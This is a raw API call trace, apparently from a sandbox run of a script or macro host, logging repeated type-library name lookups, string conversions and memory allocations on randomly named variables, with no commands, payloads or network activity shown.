ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="wqMYfniXmL", lHashVal=0x10e73e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.028] IUnknown:Release (This=0x7346470) returned 0xb [0019.028] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.028] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="wqMYfniXmL", lHashVal=0x10e73e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.028] IUnknown:Release (This=0x7345930) returned 0x7 [0019.028] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.028] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="wqMYfniXmL", lHashVal=0x10e73e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.028] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.028] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_wqMYfniXmL" | out: _Dst="_B_var_wqMYfniXmL") returned 0x0 [0019.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_wqMYfniXmL") returned 18 [0019.028] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.028] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_wqMYfniXmL", lHashVal=0x105569, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.028] IUnknown:Release (This=0x7919520) returned 0x10 [0019.028] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.028] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_wqMYfniXmL", lHashVal=0x105569, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.028] IUnknown:Release (This=0x7346470) returned 0xb [0019.028] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.028] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_wqMYfniXmL", lHashVal=0x105569, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.028] IUnknown:Release (This=0x7345930) returned 0x7 [0019.028] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.028] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_wqMYfniXmL", lHashVal=0x105569, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.028] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.028] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.028] IUnknown:Release (This=0x7919520) returned 0x10 [0019.029] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="OopIdvk" | out: _Dst="OopIdvk") returned 0x0 [0019.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="OopIdvk") returned 8 [0019.029] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.029] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="OopIdvk", lHashVal=0x10fbc7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.029] IUnknown:Release (This=0x7919520) returned 0x10 [0019.029] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.029] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="OopIdvk", lHashVal=0x10fbc7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.029] IUnknown:Release (This=0x7346470) returned 0xb [0019.029] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.029] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="OopIdvk", lHashVal=0x10fbc7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.029] IUnknown:Release (This=0x7345930) returned 0x7 [0019.029] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.029] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="OopIdvk", lHashVal=0x10fbc7, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.029] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.029] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_OopIdvk" | out: _Dst="_B_var_OopIdvk") returned 0x0 [0019.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_OopIdvk") returned 15 [0019.029] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.029] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_OopIdvk", lHashVal=0x10ff4b, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.029] IUnknown:Release (This=0x7919520) returned 0x10 [0019.029] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.029] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_OopIdvk", lHashVal=0x10ff4b, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.029] IUnknown:Release (This=0x7346470) returned 0xb [0019.029] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.029] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_OopIdvk", lHashVal=0x10ff4b, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.029] IUnknown:Release (This=0x7345930) returned 0x7 [0019.029] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.029] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_OopIdvk", lHashVal=0x10ff4b, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.029] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.029] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.029] IUnknown:Release (This=0x7919520) returned 0x10 [0019.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7852c, cbMultiByte=10, lpWideCharStr=0xd2433c8, cchWideChar=22 | out: lpWideCharStr="EklVVVCVJG") returned 10 [0019.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78546, cbMultiByte=10, lpWideCharStr=0xd243812, cchWideChar=22 | out: lpWideCharStr="tErkVSpbjS") returned 10 [0019.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7855a, cbMultiByte=10, lpWideCharStr=0xd2439bc, cchWideChar=22 | out: lpWideCharStr="oisUkmURiz") returned 10 [0019.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7856e, cbMultiByte=10, lpWideCharStr=0xd243b66, cchWideChar=22 | out: lpWideCharStr="PYwGIGwJFN") returned 10 [0019.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78582, cbMultiByte=10, lpWideCharStr=0xd243d10, cchWideChar=22 | out: lpWideCharStr="vGpdEARDsM") returned 10 [0019.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78596, cbMultiByte=10, lpWideCharStr=0xd243eba, cchWideChar=22 | out: lpWideCharStr="hvoFfWrQkj") returned 10 [0019.030] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd250000 [0019.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb785aa, cbMultiByte=10, lpWideCharStr=0xd250064, cchWideChar=22 | out: lpWideCharStr="BknJrUIlbP") returned 10 [0019.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb785be, cbMultiByte=10, lpWideCharStr=0xd25020e, cchWideChar=22 | out: lpWideCharStr="UfWVXitPQk") returned 10 [0019.032] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="hwNmuEzo" | out: _Dst="hwNmuEzo") returned 0x0 [0019.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="hwNmuEzo") returned 9 [0019.032] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.032] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="hwNmuEzo", lHashVal=0x1025cb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.032] IUnknown:Release (This=0x7919520) returned 0x10 [0019.032] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.032] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="hwNmuEzo", lHashVal=0x1025cb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.032] IUnknown:Release (This=0x7346470) returned 0xb [0019.032] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.032] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="hwNmuEzo", lHashVal=0x1025cb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.032] IUnknown:Release (This=0x7345930) returned 0x7 [0019.032] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.032] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="hwNmuEzo", lHashVal=0x1025cb, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.032] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.032] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_hwNmuEzo" | out: _Dst="_B_var_hwNmuEzo") returned 0x0 [0019.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_hwNmuEzo") returned 16 [0019.032] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.032] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_hwNmuEzo", lHashVal=0x10ee12, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.032] IUnknown:Release (This=0x7919520) returned 0x10 [0019.032] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.032] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_hwNmuEzo", lHashVal=0x10ee12, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.032] IUnknown:Release (This=0x7346470) returned 0xb [0019.032] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.032] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_hwNmuEzo", lHashVal=0x10ee12, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.032] IUnknown:Release (This=0x7345930) returned 0x7 [0019.032] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.032] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_hwNmuEzo", lHashVal=0x10ee12, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.032] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.032] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.032] IUnknown:Release (This=0x7919520) returned 0x10 [0019.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb785f6, cbMultiByte=10, lpWideCharStr=0xd252aca, cchWideChar=22 | out: lpWideCharStr="wOociTIhfO") returned 10 [0019.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7860a, cbMultiByte=10, lpWideCharStr=0xd252c74, cchWideChar=22 | out: lpWideCharStr="DjuhKNbQfS") returned 10 [0019.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7861e, cbMultiByte=10, lpWideCharStr=0xd252e1e, cchWideChar=22 | out: lpWideCharStr="RAUWVUHmvu") returned 10 [0019.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78632, cbMultiByte=10, lpWideCharStr=0xd252fc8, cchWideChar=22 | out: lpWideCharStr="oNQdfmNKij") returned 10 [0019.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78646, cbMultiByte=10, lpWideCharStr=0xd253172, cchWideChar=22 | out: lpWideCharStr="RoIODLicLU") returned 10 [0019.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7865a, cbMultiByte=10, lpWideCharStr=0xd25331c, cchWideChar=22 | out: lpWideCharStr="nhopKwtRHJ") returned 10 [0019.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7866e, cbMultiByte=10, lpWideCharStr=0xd2534c6, cchWideChar=22 | out: lpWideCharStr="LWmlZqSQBY") returned 10 [0019.033] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd260000 [0019.034] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="GCEpO" | out: _Dst="GCEpO") returned 0x0 [0019.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="GCEpO") returned 6 [0019.034] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.034] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="GCEpO", lHashVal=0x102476, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.034] IUnknown:Release (This=0x7919520) returned 0x10 [0019.034] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.034] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="GCEpO", lHashVal=0x102476, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.034] IUnknown:Release (This=0x7346470) returned 0xb [0019.034] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.034] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="GCEpO", lHashVal=0x102476, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.034] IUnknown:Release (This=0x7345930) returned 0x7 [0019.034] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.034] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="GCEpO", lHashVal=0x102476, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.034] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.034] strcpy_s (in: _Dst=0x305210, _DstSize=0xd, _Src="_B_var_GCEpO" | out: _Dst="_B_var_GCEpO") returned 0x0 [0019.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=13, lpWideCharStr=0x305060, cchWideChar=13 | out: lpWideCharStr="_B_var_GCEpO") returned 13 [0019.034] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.034] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_GCEpO", lHashVal=0x10e8a2, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.034] IUnknown:Release (This=0x7919520) returned 0x10 [0019.034] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.034] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_GCEpO", lHashVal=0x10e8a2, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.034] IUnknown:Release (This=0x7346470) returned 0xb [0019.034] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.034] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_GCEpO", lHashVal=0x10e8a2, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.034] IUnknown:Release (This=0x7345930) returned 0x7 [0019.034] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.034] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_GCEpO", lHashVal=0x10e8a2, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.034] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.035] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.035] IUnknown:Release (This=0x7919520) returned 0x10 [0019.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb786a6, cbMultiByte=10, lpWideCharStr=0xd261db6, cchWideChar=22 | out: lpWideCharStr="KqKjFkUshs") returned 10 [0019.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb786ba, cbMultiByte=10, lpWideCharStr=0xd261f60, cchWideChar=22 | out: lpWideCharStr="dJEvMjFLoY") returned 10 [0019.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb786ce, cbMultiByte=10, lpWideCharStr=0xd26210a, cchWideChar=22 | out: lpWideCharStr="GIEqIlbzJQ") returned 10 [0019.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb786e2, cbMultiByte=10, lpWideCharStr=0xd2622b4, cchWideChar=22 | out: lpWideCharStr="KviqYQZGjt") returned 10 [0019.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb786f6, cbMultiByte=10, lpWideCharStr=0xd26245e, cchWideChar=22 | out: lpWideCharStr="lFYMKplzIP") returned 10 [0019.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7870a, cbMultiByte=10, lpWideCharStr=0xd262608, cchWideChar=22 | out: lpWideCharStr="vFTjJClUYT") returned 10 [0019.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7871e, cbMultiByte=10, lpWideCharStr=0xd2627b2, cchWideChar=22 | out: lpWideCharStr="IXiQhiiOWv") returned 10 [0019.036] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd270000 [0019.036] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="SbriLwhVOJ" | out: _Dst="SbriLwhVOJ") returned 0x0 [0019.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="SbriLwhVOJ") returned 11 [0019.036] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.036] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="SbriLwhVOJ", lHashVal=0x105e69, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.036] IUnknown:Release (This=0x7919520) returned 0x10 [0019.036] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.037] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="SbriLwhVOJ", lHashVal=0x105e69, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.037] IUnknown:Release (This=0x7346470) returned 0xb [0019.037] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.037] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="SbriLwhVOJ", lHashVal=0x105e69, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.037] IUnknown:Release (This=0x7345930) returned 0x7 [0019.037] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.037] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="SbriLwhVOJ", lHashVal=0x105e69, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.037] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.037] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_SbriLwhVOJ" | out: _Dst="_B_var_SbriLwhVOJ") returned 0x0 [0019.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_SbriLwhVOJ") returned 18 [0019.037] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.037] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_SbriLwhVOJ", lHashVal=0x10ccd3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.037] IUnknown:Release (This=0x7919520) returned 0x10 [0019.037] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.037] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_SbriLwhVOJ", lHashVal=0x10ccd3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.037] IUnknown:Release (This=0x7346470) returned 0xb [0019.037] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.037] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_SbriLwhVOJ", lHashVal=0x10ccd3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.037] IUnknown:Release (This=0x7345930) returned 0x7 [0019.037] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.037] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_SbriLwhVOJ", lHashVal=0x10ccd3, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.037] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.037] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.037] IUnknown:Release (This=0x7919520) returned 0x10 [0019.037] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="PoGNRkNStb" | out: _Dst="PoGNRkNStb") returned 0x0 [0019.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="PoGNRkNStb") returned 11 [0019.037] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.037] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="PoGNRkNStb", lHashVal=0x10bbbf, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.037] IUnknown:Release (This=0x7919520) returned 0x10 [0019.037] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.037] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="PoGNRkNStb", lHashVal=0x10bbbf, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.037] IUnknown:Release (This=0x7346470) returned 0xb [0019.037] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.037] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="PoGNRkNStb", lHashVal=0x10bbbf, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.037] IUnknown:Release (This=0x7345930) returned 0x7 [0019.037] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.037] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="PoGNRkNStb", lHashVal=0x10bbbf, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.037] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.037] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_PoGNRkNStb" | out: _Dst="_B_var_PoGNRkNStb") returned 0x0 [0019.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_PoGNRkNStb") returned 18 [0019.038] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.038] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_PoGNRkNStb", lHashVal=0x1029ea, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.038] IUnknown:Release (This=0x7919520) returned 0x10 [0019.038] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.038] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_PoGNRkNStb", lHashVal=0x1029ea, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.038] IUnknown:Release (This=0x7346470) returned 0xb [0019.038] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.038] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_PoGNRkNStb", lHashVal=0x1029ea, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.038] IUnknown:Release (This=0x7345930) returned 0x7 [0019.038] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.038] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_PoGNRkNStb", lHashVal=0x1029ea, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.038] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.038] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.038] IUnknown:Release (This=0x7919520) returned 0x10 [0019.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78786, cbMultiByte=10, lpWideCharStr=0xd271dea, cchWideChar=22 | out: lpWideCharStr="qiaaGGZaTi") returned 10 [0019.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7879a, cbMultiByte=10, lpWideCharStr=0xd271f94, cchWideChar=22 | out: lpWideCharStr="twDYUuBXoN") returned 10 [0019.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb787ae, cbMultiByte=10, lpWideCharStr=0xd27213e, cchWideChar=22 | out: lpWideCharStr="sObnUXzpnh") returned 10 [0019.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb787c2, cbMultiByte=10, lpWideCharStr=0xd2722e8, cchWideChar=22 | out: lpWideCharStr="EmwzThwLiT") returned 10 [0019.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb787d6, cbMultiByte=10, lpWideCharStr=0xd272492, cchWideChar=22 | out: lpWideCharStr="QszSfDNJiG") returned 10 [0019.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb787ea, cbMultiByte=10, lpWideCharStr=0xd27263c, cchWideChar=22 | out: lpWideCharStr="bUSGQbDmGi") returned 10 [0019.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb787fe, cbMultiByte=10, lpWideCharStr=0xd2727e6, cchWideChar=22 | out: lpWideCharStr="GjnldGzFEn") returned 10 [0019.039] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd280000 [0019.040] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="cpCdvZApoP" | out: _Dst="cpCdvZApoP") returned 0x0 [0019.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, 